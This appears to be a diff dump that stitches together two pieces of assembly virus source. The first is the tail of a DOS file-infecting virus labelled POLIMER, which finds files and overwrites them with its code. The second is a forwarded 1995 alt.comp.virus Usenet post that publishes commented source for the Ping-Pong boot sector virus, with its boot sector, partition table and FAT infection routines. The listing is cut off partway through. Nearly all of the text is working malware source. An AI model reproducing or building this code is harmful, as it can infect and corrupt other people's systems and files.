DB 'MER kazetta ! Vegye ezt ! ', 0AH
|
||||
DB 0DH, '$'
|
||||
DB 'ERROR', 0AH, 0DH, '$'
|
||||
DATA_19 DW 5
|
||||
DATA_20 DW 18D8H
|
||||
LOC_1:
|
||||
MOV SI,DATA_7E
|
||||
MOV DI,DATA_8E
|
||||
MOV CX,30H
|
||||
CLD ; Clear direction
|
||||
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
|
||||
JMP $-0BAH
|
||||
LOC_2:
|
||||
JMP LOC_10 ; (0296)
|
||||
LOC_3:
|
||||
JMP LOC_9 ; (028F)
|
||||
LOC_4:
|
||||
MOV AL,0
|
||||
MOV AH,0EH
|
||||
INT 21H ; DOS Services ah=function 0Eh
|
||||
; set default drive dl (0=a:)
|
||||
MOV DX,DATA_4E
|
||||
MOV AH,1AH
|
||||
INT 21H ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
MOV DX,DATA_6E
|
||||
MOV AH,9
|
||||
INT 21H ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
LOC_5:
|
||||
MOV DX,DATA_5E
|
||||
MOV AH,11H
|
||||
INT 21H ; DOS Services ah=function 11h
|
||||
; find filename, FCB @ ds:dx
|
||||
TEST AL,AL
|
||||
JNZ LOC_2 ; Jump if not zero
|
||||
LOC_6:
|
||||
MOV WORD PTR DS:DATA_14E,2424H
|
||||
MOV AX,DS:DATA_12E
|
||||
MOV WORD PTR DS:DATA_12E+1,AX
|
||||
MOV AX,DS:DATA_10E
|
||||
MOV AL,2EH ; '.'
|
||||
MOV WORD PTR DS:DATA_10E+1,AX
|
||||
MOV AL,2
|
||||
MOV DX,DATA_9E
|
||||
MOV AH,3DH ; '='
|
||||
INT 21H ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
JC LOC_3 ; Jump if carry Set
|
||||
MOV DATA_19,AX
|
||||
MOV BX,DATA_19
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
MOV AL,2
|
||||
MOV AH,42H ; 'B'
|
||||
INT 21H ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
JC LOC_3 ; Jump if carry Set
|
||||
MOV DATA_20,AX
|
||||
MOV BX,DATA_19
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
MOV AL,0
|
||||
MOV AH,42H ; 'B'
|
||||
INT 21H ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
JC LOC_3 ; Jump if carry Set
|
||||
MOV BX,DATA_19
|
||||
MOV CX,200H
|
||||
MOV DX,DATA_23E
|
||||
MOV AX,DS
|
||||
ADD AX,1000H
|
||||
MOV DS,AX
|
||||
MOV AH,3FH ; '?'
|
||||
INT 21H ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
MOV CX,80H
|
||||
CLD ; Clear direction
|
||||
MOV SI,DATA_24E
|
||||
MOV DI,OFFSET DS:[200H]
|
||||
REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||||
JZ LOC_8 ; Jump if zero
|
||||
MOV BX,CS:DATA_19
|
||||
MOV CX,CS:DATA_20
|
||||
SUB CX,200H
|
||||
MOV DX,DATA_25E
|
||||
MOV AH,3FH ; '?'
|
||||
INT 21H ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
MOV AX,DS
|
||||
SUB AX,1000H
|
||||
MOV DS,AX
|
||||
MOV BX,DATA_19
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
MOV AL,0
|
||||
MOV AH,42H ; 'B'
|
||||
INT 21H ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
MOV BX,DATA_19
|
||||
MOV DX,OFFSET DS:[100H]
|
||||
MOV CX,200H
|
||||
MOV AH,40H ; '@'
|
||||
INT 21H ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
MOV BX,DATA_19
|
||||
MOV DX,DATA_23E
|
||||
MOV CX,DATA_20
|
||||
MOV AX,DS
|
||||
ADD AX,1000H
|
||||
MOV DS,AX
|
||||
MOV AH,40H ; '@'
|
||||
INT 21H ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
MOV AX,DS
|
||||
SUB AX,1000H
|
||||
MOV DS,AX
|
||||
MOV BX,DATA_19
|
||||
MOV AH,3EH ; '>'
|
||||
INT 21H ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
JMP SHORT LOC_10 ; (0296)
|
||||
DB 90H
|
||||
LOC_7:
|
||||
MOV DX,DATA_5E
|
||||
MOV AH,12H
|
||||
INT 21H ; DOS Services ah=function 12h
|
||||
; find next filenam, FCB @ds:dx
|
||||
TEST AL,AL
|
||||
JNZ LOC_10 ; Jump if not zero
|
||||
JMP LOC_6 ; (01A2)
|
||||
LOC_8:
|
||||
MOV AX,DS
|
||||
SUB AX,1000H
|
||||
MOV DS,AX
|
||||
MOV BX,DS:DATA_3E
|
||||
MOV AH,3EH ; '>'
|
||||
INT 21H ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
JMP SHORT LOC_7 ; (0270)
|
||||
LOC_9:
|
||||
MOV DX,DATA_2E
|
||||
MOV AH,9
|
||||
INT 21H ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
LOC_10:
|
||||
MOV AH,19H
|
||||
INT 21H ; DOS Services ah=function 19h
|
||||
; get default drive al (0=a:)
|
||||
TEST AL,AL
|
||||
JNZ LOC_11 ; Jump if not zero
|
||||
MOV DL,2
|
||||
MOV AH,0EH
|
||||
INT 21H ; DOS Services ah=function 0Eh
|
||||
; set default drive dl (0=a:)
|
||||
MOV AH,19H
|
||||
INT 21H ; DOS Services ah=function 19h
|
||||
; get default drive al (0=a:)
|
||||
TEST AL,AL
|
||||
JZ LOC_11 ; Jump if zero
|
||||
JMP LOC_5 ; (0197)
|
||||
LOC_11:
|
||||
MOV DX,DATA_1E
|
||||
MOV AH,1AH
|
||||
INT 21H ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
JMP LOC_1 ; (016E)
|
||||
DB 0BEH, 00H, 03H
|
||||
DB 0BFH, 00H, 01H,0B9H, 00H,0FDH
|
||||
DB 0FCH,0F3H,0A4H,0EBH
|
||||
DB 32H, 90H
|
||||
DB 56 DUP (0)
|
||||
|
||||
POLIMER ENDP
|
||||
|
||||
SEG_A ENDS
|
||||
|
||||
|
||||
|
||||
END START
|
|
@ -0,0 +1,656 @@
|
|||
From smtp Tue Feb 7 13:15 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST
|
||||
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
||||
id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
|
||||
Date: Tue, 7 Feb 1995 13:17:17 -0500
|
||||
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
||||
Content-Length: 22178
|
||||
Content-Type: text
|
||||
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
|
||||
To: pobox.jwu.edu!joshuaw
|
||||
Subject: (fwd) Pong
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: O
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
|
||||
From: danishm@iia.org ()
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Pong
|
||||
Date: 5 Feb 1995 21:56:02 GMT
|
||||
Organization: International Internet Association.
|
||||
Lines: 624
|
||||
Message-ID: <3h3hhi$sb@ankh.iia.org>
|
||||
NNTP-Posting-Host: iia.org
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
Here is the Pong virus:
|
||||
|
||||
|
||||
|
||||
; ORIGININ ADDRESS -7C00H
|
||||
|
||||
|
||||
RAM SEGMENT AT 0
|
||||
|
||||
; SYSTEM DATA
|
||||
|
||||
ORG 20H
|
||||
INT8OF DW ? ; INTERRUPT 8 OFFSET
|
||||
INT8SG DW ? ; INTERRUPT 8 SEGMENT
|
||||
ORG 4CH
|
||||
INT19O DW ? ; INTERRUPT 19 OFFSET
|
||||
INT19S DW ? ; INTERRUPT 19 SEGMENT
|
||||
ORG 413H
|
||||
RAMSIZ DW ? ; TOTAL RAM SIZE
|
||||
|
||||
; BPB OF VIRUS BOOT RECORD
|
||||
|
||||
ORG 7C0BH
|
||||
BYPSEC DW ? ; BYTES PER SECTOR
|
||||
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
|
||||
SECRES DW ? ; RESERVED SECTORS
|
||||
FATNUM DB ? ; NUMBER OF FATS
|
||||
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
|
||||
SECNUM DW ? ; NUMBER OF SECTORS
|
||||
MEDIAD DB ? ; MEDIA DESCRIPTOR
|
||||
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
|
||||
SECTRK DW ? ; SECTORS PER TRACK
|
||||
HEDNUM DW ? ; NUMBER OF HEADS
|
||||
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
||||
|
||||
; INTERRUPT 19 (13H) BRANCH ADDRESS
|
||||
|
||||
ORG 7D2AH
|
||||
|
||||
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
|
||||
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
|
||||
|
||||
; INSTALLATION DATA AREA
|
||||
|
||||
ORG 7DF3H
|
||||
CURFAT DW ? ; CURRENT FAT SECTOR
|
||||
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
|
||||
SWITCH DB ? ; SWITCHES
|
||||
; - 01H - NESTED INTERRUPT
|
||||
; - 02H - TIMER INTERRUPT INSTALLED
|
||||
; - 04H - 16-BIT FAT
|
||||
LSTDRV DB ? ; DRIVE LAST USED
|
||||
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
|
||||
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
|
||||
FLAG01 DW ? ; FLAG FIELD
|
||||
|
||||
; DATA AREA
|
||||
|
||||
ORG 7EB0H
|
||||
LASTTM DW ? ; SYSTEM TIME LAST CALLED
|
||||
PRCFAT DB ? ; PROCESSED FAT / 256
|
||||
|
||||
; INTERRUPT 8 BRANCH ADDRESS
|
||||
|
||||
ORG 7FC9H
|
||||
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
|
||||
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
|
||||
|
||||
; DISPLAY DATA AREA
|
||||
|
||||
ORG 7FCDH
|
||||
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
|
||||
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
|
||||
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
|
||||
GRAPHM DB ? ; GRAPHICS MODE SWITCH
|
||||
MODEAP DW ? ; MODE AND ACTIVE PAGE
|
||||
COLUMN DB ? ; VISIBLE COLUMNS - 1
|
||||
|
||||
; BPB OF ORIGINAL BOOT RECORD
|
||||
|
||||
ORG 800BH
|
||||
BIPSEC DW ? ; BYTES PER SECTOR
|
||||
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
|
||||
VERVED DW ? ; RESERVED SECTORS
|
||||
RUMNUM DB ? ; NUMBER OF FATS
|
||||
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
|
||||
NUOSEC DW ? ; NUMBER OF SECTORS
|
||||
MIASET DB ? ; MEDIA DESCRIPTOR
|
||||
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
|
||||
TRASSC DW ? ; SECTORS PER TRACK
|
||||
NUOHED DW ? ; NUMBER OF HEADS
|
||||
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
||||
|
||||
|
||||
ORG 81F5H
|
||||
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
|
||||
SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
|
||||
; - 02H - TIMER INTERRUPT INSTALLED
|
||||
; - 04H - 16-BIT FAT
|
||||
LASTUS DB ? ; DRIVE LAST USED
|
||||
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
|
||||
LATER2 DB ? ; TYPE SWITCH
|
||||
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
|
||||
|
||||
|
||||
RAM ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:RAM
|
||||
|
||||
START:
|
||||
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
|
||||
|
||||
DB 'MSDOS3.2' ; OEM AND VERSION
|
||||
|
||||
DW 512 ; BYPSEC - BYTES PER SECTOR
|
||||
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
|
||||
DW 1 ; SECRES - RESERVED SECTORS
|
||||
DB 2 ; FATNUM - NUMBER OF FATS
|
||||
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
|
||||
DW 720 ; SECNUM - NUMBER OF SECTORS
|
||||
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
|
||||
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
|
||||
DW 9 ; SECTRK - SECTORS PER TRACK
|
||||
DW 2 ; HEDNUM - NUMBER OF HEADS
|
||||
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
||||
|
||||
; START OF PROCESSING
|
||||
|
||||
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
|
||||
|
||||
HIDE_ME_PLEASE:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ; STACK SEGMENT ZERO
|
||||
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
|
||||
MOV DS,AX ; DATA SEGMENT ZERO
|
||||
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
|
||||
SUB AX,2 ; SUBTRACT 2K
|
||||
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
|
||||
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
|
||||
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
|
||||
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
|
||||
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
|
||||
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
|
||||
MOV DI,SI ; COPY OFFSET FOR SOURCE
|
||||
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
|
||||
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
|
||||
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
|
||||
; THIS IS THE ILLEGAL OPCODE!
|
||||
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
|
||||
|
||||
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
|
||||
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
CALL SET_IT_UP
|
||||
SET_IT_UP:
|
||||
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
|
||||
INT 13H ; DISK INTERRUPT
|
||||
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
|
||||
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
|
||||
PUSH CS ; \ GET CURRENT SEGMENT
|
||||
POP AX ; /
|
||||
SUB AX,20H ; ADDRESS BACK ONE SECTOR
|
||||
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
|
||||
CALL READ_IT_IN ; READ REST OF CODE
|
||||
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
|
||||
INC BX ; ADDRESS TO BOOT SECTOR STORE
|
||||
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
|
||||
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
|
||||
CALL READ_IT_IN ; READ REAL BOOT SECTOR
|
||||
XOR AX,AX
|
||||
MOV SWITCH,AL ; SET OFF ALL SWITCHES
|
||||
MOV DS,AX ; DATA SEGMENT ZERO
|
||||
MOV AX,INT19O ; SAVE INT 19 OFFSET
|
||||
MOV BX,INT19S ; SAVE INT 19 SEGMENT
|
||||
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
|
||||
MOV INT19S,CS ; NEW INT 19 SEGMENT
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
|
||||
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
|
||||
MOV DL,LSTDRV ; GET DRIVE NUMBER
|
||||
DB 0EAH ; FAR JUMP TO BOOT SECTOR
|
||||
DW 7C00H, 0
|
||||
|
||||
WRITE_IT_OUT:
|
||||
MOV AX,301H ; WRITE ONE SECTOR
|
||||
JMP SHORT GET_SECTOR
|
||||
|
||||
READ_IT_IN:
|
||||
MOV AX,201H ; READ ONE SECTOR
|
||||
GET_SECTOR:
|
||||
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
|
||||
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
|
||||
XOR DX,DX ; CLEAR FOR DIVISION
|
||||
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
|
||||
INC DL ; ADD ONE TO ODD SECTORS
|
||||
MOV CH,DL ; SAVE SECTOR NUMBER
|
||||
XOR DX,DX ; CLEAR FOR DIVISION
|
||||
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
|
||||
MOV CL,6 ; POSITIONS TO MOVE
|
||||
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
|
||||
OR AH,CH ; MOVE IN SECTOR NUMBER
|
||||
MOV CX,AX ; MOVE TO CORRECT REGISTER
|
||||
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
|
||||
MOV DH,DL ; MOVE HEAD NUMBER
|
||||
MOV AX,BX ; RECOVER CONTENTS OF AX
|
||||
BRING_IN:
|
||||
MOV DL,LSTDRV ; GET DRIVE NUMBER
|
||||
MOV BX,8000H ; SET BUFFER ADDRESS
|
||||
INT 13H ; DISK INTERRUPT
|
||||
JNB GO_BACK ; BRANCH IF NO ERRORS
|
||||
POP AX
|
||||
GO_BACK:
|
||||
RET
|
||||
|
||||
; INTERRUPT 19 (13H) (DISK) ROUTINE
|
||||
|
||||
INT_19:
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
PUSH CS ; \ SET ES EQUAL TO CS
|
||||
POP ES ; /
|
||||
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
|
||||
JNZ PASS_OUT ; EXIT IF ON
|
||||
CMP AH,2 ; TEST FOR READ SECTOR
|
||||
JNZ PASS_OUT ; EXIT IF NOT
|
||||
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
|
||||
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
|
||||
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
|
||||
|
||||
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
|
||||
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
|
||||
; TIME A DISK-READ WILL SWITCH IT ON.
|
||||
|
||||
XOR AH,AH ; GET SYSTEM CLOCK
|
||||
INT 1AH ; SYSTEM CLOCK INTERRUPT
|
||||
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
|
||||
JNZ DO_TIME
|
||||
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
|
||||
JNZ DO_TIME
|
||||
PUSH DX ; SAVE SYSTEM TIME
|
||||
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
|
||||
POP DX ; RECOVER SYSTEM TIME
|
||||
DO_TIME:
|
||||
MOV CX,DX ; COPY SYSTEM TIME
|
||||
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
|
||||
MOV LASTTM,CX ; SAVE SYSTEM TIME
|
||||
SUB DX,24H ; SUBTRACT 2 SECONDS
|
||||
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
|
||||
INT_SWITCH:
|
||||
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL DISK_INSTALL ; INSTALL ON DISK
|
||||
POP DI
|
||||
POP SI
|
||||
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
|
||||
PASS_OUT:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
|
||||
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
|
||||
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
|
||||
|
||||
; DISK INSTALLATION
|
||||
|
||||
DISK_INSTALL:
|
||||
MOV AX,201H ; READ ONE SECTOR
|
||||
MOV DH,0 ; HEAD NUMBER 0
|
||||
MOV CX,1 ; TRACK 0, SECTOR 1
|
||||
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
|
||||
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
|
||||
JZ FAT_CHECK ; BRANCH IF NOT
|
||||
|
||||
; HARD DISK - PARTITION TABLE
|
||||
|
||||
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
|
||||
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
|
||||
NEXT_PART_ENTRY:
|
||||
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
|
||||
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
|
||||
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
|
||||
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
|
||||
ADD SI,10H ; ADDRESS TO NEXT ENTRY
|
||||
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
|
||||
RET
|
||||
|
||||
; HARD DISK - GET BOOT RECORD
|
||||
|
||||
SNARF_UP_THE_BOOT:
|
||||
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
|
||||
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
|
||||
MOV AX,201H ; READ ONE SECTOR
|
||||
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
|
||||
|
||||
; BOOT SECTOR PROCESSING
|
||||
|
||||
FAT_CHECK:
|
||||
MOV SI,8002H ; ADDRESS TO BPB SOURCE
|
||||
MOV DI,7C02H ; ADDRESS TO BPB TARGET
|
||||
MOV CX,1CH ; LENGTH OF BPB
|
||||
REPZ MOVSB ; COPY BPB
|
||||
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
|
||||
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
|
||||
CMP LATER2,0
|
||||
JNB HEAD_EM_OUT
|
||||
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
|
||||
MOV CURCLS,AX ; SAVE IT
|
||||
MOV SI,REMAI2
|
||||
JMP PLACE_VIRUS
|
||||
|
||||
HEAD_EM_OUT: RET
|
||||
|
||||
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
|
||||
|
||||
WHERE_BE_THE_FAT:
|
||||
CMP BIPSEC,200H ; SECTOR SIZE 512
|
||||
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
|
||||
CMP ALCSEC,2 ; SECTORS PER CLUSTER
|
||||
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
|
||||
MOV CX,VERVED ; GET RESERVED SECTORS
|
||||
MOV AL,RUMNUM ; NUMBER OF FATS
|
||||
CBW ; FILL OUT REGISTER
|
||||
MUL FASNUM ; SECTORS PER FAT
|
||||
ADD CX,AX ; SECTOR OF ROOT DIR
|
||||
MOV AX,20H ; LENGTH OF DIR ENTRY
|
||||
MUL ROTRID ; NUMBER OF DIR ENTRIES
|
||||
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
|
||||
MOV BX,200H ; LENGTH OF SECTOR
|
||||
DIV BX ; SECTORS OF ROOT DIR
|
||||
ADD CX,AX ; SECTOR OF FIRST CLUSTER
|
||||
MOV CURCLS,CX ; SAVE THIS
|
||||
MOV AX,SECNUM ; GET NUMBER OF SECTORS
|
||||
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
|
||||
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
|
||||
XOR DX,DX
|
||||
XOR BH,BH ; CLEAR TOP OF REGISTER
|
||||
DIV BX ; CALCULATE NUMBER OF CLUSTERS
|
||||
INC AX ; ALLOW FOR NUMBER ONE NOT USED
|
||||
MOV DI,AX
|
||||
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
|
||||
CMP AX,0FF0H ; SEE IF 12-BIT FAT
|
||||
JBE WRITE_FAT ; BRANCH IF YES
|
||||
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
|
||||
WRITE_FAT:
|
||||
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
|
||||
MOV BX,SECRES ; GET RESERVED SECTORS
|
||||
DEC BX ; ALLOW FOR ADDITION
|
||||
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
|
||||
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
|
||||
JMP SHORT READ_FAT
|
||||
|
||||
; DATA AREA
|
||||
|
||||
DW 2 ; CURFAT - CURRENT FAT SECTOR
|
||||
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
|
||||
DB 1 ; SWITCH - SWITCHES
|
||||
; - 01H - NESTED INTERRUPT
|
||||
; - 02H - TIMER INTERRUPT INSTALLED
|
||||
; - 04H - 16-BIT FAT
|
||||
DB 0 ; LSTDRV - DRIVE LAST USED
|
||||
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
|
||||
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
|
||||
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
|
||||
|
||||
; END OF FIRST SECTOR, START OF SECOND
|
||||
|
||||
; SEARCH FAT FOR UNUSED CLUSTER
|
||||
|
||||
READ_FAT:
|
||||
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
|
||||
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
|
||||
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
|
||||
CALL READ_IT_IN ; READ FAT SECTOR
|
||||
JMP SHORT GET_EM_NEXT
|
||||
|
||||
FAT_SWITCH:
|
||||
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
|
||||
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
||||
JZ FAT_ENTRY ; BRANCH IF OFF
|
||||
INC AX ; FOUR BYTES NOT THREE
|
||||
FAT_ENTRY:
|
||||
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
|
||||
SHR AX,1 ; DIVIDE BY TWO
|
||||
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
|
||||
MOV BX,AX ; COPY DISPLACEMENT
|
||||
CMP BX,1FFH ; SEE IF IN THIS SECTOR
|
||||
JNB READ_FAT ; BRANCH IF NOT
|
||||
MOV DX,[BX+8000H] ; GET ENTRY
|
||||
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
||||
JNZ F_TEST_1 ; BRANCH IF ON
|
||||
MOV CL,4 ; POSITIONS TO MOVE
|
||||
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
|
||||
JZ FAT_TOP ; BRANCH IF NOT
|
||||
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
|
||||
FAT_TOP:
|
||||
AND DH,0FH ; SWITCH OFF TOP BITS
|
||||
F_TEST_1:
|
||||
TEST DX,0FFFFH ; TEST ALL BITS
|
||||
JZ MAKE_BAD ; BRANCH IF NONE ON
|
||||
GET_EM_NEXT:
|
||||
INC SI ; NEXT FAT ENTRY
|
||||
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
|
||||
JBE FAT_SWITCH ; BRANCH IF NOT
|
||||
RET
|
||||
|
||||
; SPARE CLUSTER FOUND - INSTALL ON DISK
|
||||
|
||||
MAKE_BAD:
|
||||
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
|
||||
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
|
||||
JNZ FIND_SECTOR ; BRANCH IF ON
|
||||
AND DH,0FH ; CONVERT MARKER TO FF7H
|
||||
MOV CL,4 ; BITS TO MOVE
|
||||
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
|
||||
JZ FIND_SECTOR ; BRANCH IF NOT
|
||||
SHL DX,CL ; MOVE INTO POSITION
|
||||
FIND_SECTOR:
|
||||
OR [BX+8000H],DX ; PUT MARKER INTO FAT
|
||||
MOV BX,CURFAT ; GET SECTOR NUMBER
|
||||
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
|
||||
MOV AX,SI ; GET ENTRY NUMBER
|
||||
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
|
||||
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
|
||||
XOR BH,BH ; CLEAR TOP OF REGISTER
|
||||
MUL BX ; CONVERT TO SECTORS
|
||||
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
